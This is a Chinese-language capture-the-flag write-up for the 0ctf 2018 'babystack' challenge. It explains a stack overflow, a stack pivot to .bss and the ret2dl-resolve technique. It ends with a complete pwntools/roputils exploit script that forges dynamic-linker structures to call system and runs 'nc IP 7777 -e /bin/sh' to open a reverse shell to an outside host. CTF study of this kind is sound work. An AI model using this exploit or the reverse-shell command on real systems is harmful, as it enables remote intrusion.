天天看點

0ctf 2018 baby stack記錄

image.png

題目提示資訊,資訊洩露不再需要棧溢出

檢查保護措施,隻開啟了NX棧不可執行

通過objdump檢視檔案,其中隻有read函數調用

通過IDA檢視,溢出點很明顯

通過測試資料,拿到padding的填充長度為44

在這之後思路卡了很久很久!比賽結束才有突破!

ROPgaget檢視後并沒有很多的可利用gaget,也沒有write函數等可以洩露system位址

并且題目也沒有給出libc

這裡再次看題目資訊,提示可以不用棧溢出拿到資訊

通關死磕,終于查閱資料得到ret2dl-resolve的思路,可以通過函數動态連結過程,僞造symbol達到執行system的效果

相關資料可以參考以下的文章:

http://www.cnblogs.com/Ox9A82/p/5487275.html https://zhuanlan.zhihu.com/p/23255727 http://rk700.github.io/2015/08/09/return-to-dl-resolve/ ret2dl-resolve可以使用已有的工具快捷利用:roputils https://github.com/inaz2/roputils

思路有了,但是這題的read隻能輸入64位元組,而其中padding已經用去了44位元組,剩下的空間不夠放入payload

是以這題還需要通過減少esp指針,想辦法擴大payload空間

其中可以利用的點在

第一次read溢出覆寫ret位址為0x8048446,進行棧布局後再次調用read函數

第二次read中寫入ret2dl-resolve的利用payload即可

最終exp:

from pwn import *
import roputils
from hashlib import sha256

p = remote('202.120.7.202',6666)

random = p.recv(16)
print "[*]random"+random
flag=0
print random
for i in range(36,126):
        if flag==1:
                break
        for j in range(36,126):
                if flag==1:
                        break
                for k in range(36,126):
                        if flag==1:
                                break
                        for n in range(36,126):
                                str=chr(i)+chr(j)+chr(k)+chr(n)
                                if sha256(random+str).digest().startswith('\0\0\0'):
                                        hash=str
                                        print hash
                                        flag=1
                                        break

p.send(hash)

payload = "A"*40
payload += p32(0x804a500)
payload += p32(0x8048446)
payload += p32(80)                 # exact length of stage 2 payload
payload += "B"*(64-len(payload))

rop = roputils.ROP('./babystack')
addr_bss = rop.section('.bss')
payload += "A"*40
payload += p32(0x804a500)

# Read the fake tabs from payload2 to bss
payload += rop.call("read", 0, addr_bss, 150)

# Call dl_resolve with offset to our fake symbol
payload += rop.dl_resolve_call(addr_bss+60, addr_bss)

# Create fake rel and sym on bss
payload2 = rop.string("nc %s 7777 -e /bin/sh" % "IP")
payload2 += rop.fill(60, payload2)                        # Align symbol to bss+60
payload2 += rop.dl_resolve_data(addr_bss+60, "system")    # Fake r_info / st_name
payload2 += rop.fill(150, payload2)

payload += payload2
payload = payload.ljust(0x100, "\x00")
print len(payload)
p.sendline(payload)
#p.send("A"*44 + flat(rop) + "A"*(256-44-len(flat(rop))))
p.interactive()